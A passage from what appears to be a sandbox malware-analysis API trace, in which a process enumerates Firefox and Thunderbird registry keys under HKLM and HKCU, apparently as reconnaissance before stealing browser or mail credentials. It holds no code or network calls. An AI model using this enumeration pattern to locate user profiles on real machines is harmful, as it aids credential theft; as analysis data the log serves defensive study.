0x751178 [0055.009] lstrcpyA (in: lpString1=0x751178, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0055.009] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0055.009] LocalFree (hMem=0x754f00) returned 0x0 [0055.009] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Thunderbird") returned 0x0 [0055.009] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940e740 [0055.009] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x3e8) returned 0x0 [0055.009] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x0, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.009] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0055.009] lstrlenA (lpString="\\") returned 1 [0055.009] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x7510c0 [0055.009] lstrcpyA (in: lpString1=0x7510c0, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0055.010] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0055.010] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0055.010] lstrlenA (lpString="Main") returned 4 [0055.010] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756d60 [0055.010] lstrcpyA (in: lpString1=0x756d60, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0055.010] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0055.010] LocalFree (hMem=0x7510c0) returned 0x0 [0055.010] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Thunderbird") returned 0x0 [0055.010] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940efc8 [0055.010] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0xefbb0 | out: phkResult=0xefbb0*=0x3ec) returned 0x0 [0055.010] RegEnumKeyExA (in: hKey=0x3ec, dwIndex=0x0, lpName=0x940efc8, lpcchName=0xefba8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefba8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.010] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x1, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.010] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0055.010] lstrlenA (lpString="\\") returned 1 [0055.010] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x7510c0 [0055.010] lstrcpyA (in: lpString1=0x7510c0, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0055.010] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0055.010] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0055.010] lstrlenA (lpString="Uninstall") returned 9 [0055.010] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x756d60 [0055.010] lstrcpyA (in: lpString1=0x756d60, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0055.010] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0055.010] LocalFree (hMem=0x7510c0) returned 0x0 [0055.010] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Thunderbird") returned 0x0 [0055.010] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940efc8 [0055.010] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0xefbb0 | out: phkResult=0xefbb0*=0x3ec) returned 0x0 [0055.010] RegEnumKeyExA (in: hKey=0x3ec, dwIndex=0x0, lpName=0x940efc8, lpcchName=0xefba8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefba8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.010] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x2, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.010] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.010] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x2, lpName=0x75e920, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.010] lstrlenA (lpString="Software\\Mozilla") returned 16 [0055.010] lstrlenA (lpString="\\") returned 1 [0055.010] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x763a18 [0055.010] lstrcpyA (in: lpString1=0x763a18, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0055.010] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.010] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0055.010] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0055.010] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x755110 [0055.010] lstrcpyA (in: lpString1=0x755110, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.010] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0055.010] LocalFree (hMem=0x763a18) returned 0x0 [0055.010] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Thunderbird") returned 0x0 [0055.010] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0055.011] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0xefc18 | out: phkResult=0xefc18*=0x3e0) returned 0x0 [0055.011] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.011] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0055.011] lstrlenA (lpString="\\") returned 1 [0055.011] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754f00 [0055.011] lstrcpyA (in: lpString1=0x754f00, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0055.011] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0055.011] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0055.011] lstrlenA (lpString="bin") returned 3 [0055.011] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x751178 [0055.011] lstrcpyA (in: lpString1=0x751178, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0055.011] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0055.011] LocalFree (hMem=0x754f00) returned 0x0 [0055.011] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Thunderbird") returned 0x0 [0055.011] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940e740 [0055.011] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x3e8) returned 0x0 [0055.011] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x0, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.011] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.011] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0055.011] lstrlenA (lpString="\\") returned 1 [0055.011] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754f00 [0055.011] lstrcpyA (in: lpString1=0x754f00, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0055.011] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0055.011] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0055.011] lstrlenA (lpString="extensions") returned 10 [0055.011] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756d60 [0055.011] lstrcpyA (in: lpString1=0x756d60, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0055.011] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0055.011] LocalFree (hMem=0x754f00) returned 0x0 [0055.011] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Thunderbird") returned 0x0 [0055.011] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940e740 [0055.011] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x3e8) returned 0x0 [0055.011] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x0, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.011] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x2, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.011] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x3, lpName=0x75e920, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.011] SetCurrentDirectoryA (lpPathName="C:\\Users\\aDU0VK IWA5kLS\\Desktop" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop")) returned 1 [0055.011] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0xefc6f | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0055.011] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0055.011] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0055.011] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0xefc4c | out: phkResult=0xefc4c*=0x3e4) returned 0x0 [0055.012] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x0, lpName=0x75e920, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.012] lstrlenA (lpString="Software\\Mozilla") returned 16 [0055.012] lstrlenA (lpString="\\") returned 1 [0055.012] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x763a18 [0055.012] lstrcpyA (in: lpString1=0x763a18, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0055.012] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.012] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0055.012] lstrlenA (lpString="Firefox") returned 7 [0055.012] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x759000 [0055.012] lstrcpyA (in: lpString1=0x759000, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.012] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0055.012] LocalFree (hMem=0x763a18) returned 0x0 [0055.012] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0055.012] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0055.012] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x3e0) returned 0x0 [0055.012] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.012] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0055.012] lstrlenA (lpString="\\") returned 1 [0055.012] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758cb8 [0055.012] lstrcpyA (in: lpString1=0x758cb8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0055.012] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0055.012] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0055.012] lstrlenA (lpString="Crash Reporter") returned 14 [0055.012] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x755110 [0055.012] lstrcpyA (in: lpString1=0x755110, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0055.012] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0055.012] LocalFree (hMem=0x758cb8) returned 0x0 [0055.012] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Thunderbird") returned 0x0 [0055.012] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940e740 [0055.012] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x3e8) returned 0x0 [0055.012] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x0, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.012] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.012] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0055.012] lstrlenA (lpString="\\") returned 1 [0055.012] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758cb8 [0055.012] lstrcpyA (in: lpString1=0x758cb8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0055.012] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0055.012] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0055.012] lstrlenA (lpString="TaskBarIDs") returned 10 [0055.012] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x755110 [0055.012] lstrcpyA (in: lpString1=0x755110, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0055.012] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0055.012] LocalFree (hMem=0x758cb8) returned 0x0 [0055.013] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0055.013] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940e740 [0055.013] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x3e8) returned 0x0 [0055.013] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x0, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.013] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x2, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.013] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x1, lpName=0x75e920, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.013] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0055.013] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0055.013] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0xefc4c | out: phkResult=0xefc4c*=0x3e4) returned 0x0 [0055.013] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x0, lpName=0x75e920, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.013] lstrlenA (lpString="Software\\Mozilla") returned 16 [0055.013] lstrlenA (lpString="\\") returned 1 [0055.013] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x763a18 [0055.013] lstrcpyA (in: lpString1=0x763a18, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0055.013] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.013] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0055.013] lstrlenA (lpString="Firefox") returned 7 [0055.013] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x759000 [0055.013] lstrcpyA (in: lpString1=0x759000, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.013] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0055.014] LocalFree (hMem=0x763a18) returned 0x0 [0055.014] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0055.014] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0055.014] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x3e0) returned 0x0 [0055.014] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.014] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0055.014] lstrlenA (lpString="\\") returned 1 [0055.014] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758cb8 [0055.014] lstrcpyA (in: lpString1=0x758cb8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0055.014] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0055.014] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0055.014] lstrlenA (lpString="TaskBarIDs") returned 10 [0055.014] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x755110 [0055.014] lstrcpyA (in: lpString1=0x755110, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0055.014] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0055.014] LocalFree (hMem=0x758cb8) returned 0x0 [0055.014] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0055.014] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940e740 [0055.014] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x3e8) returned 0x0 [0055.014] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x0, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.014] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.014] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x1, lpName=0x75e920, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.014] lstrlenA (lpString="Software\\Mozilla") returned 16 [0055.014] lstrlenA (lpString="\\") returned 1 [0055.014] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x763a18 [0055.014] lstrcpyA (in: lpString1=0x763a18, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0055.014] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.014] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0055.014] lstrlenA (lpString="Mozilla Firefox") returned 15 [0055.014] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x755110 [0055.014] lstrcpyA (in: lpString1=0x755110, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.015] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0055.015] LocalFree (hMem=0x763a18) returned 0x0 [0055.015] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Thunderbird") returned 0x0 [0055.015] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0055.015] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x3e0) returned 0x0 [0055.015] RegEnumKeyExA (in: hKey=0x3e0, 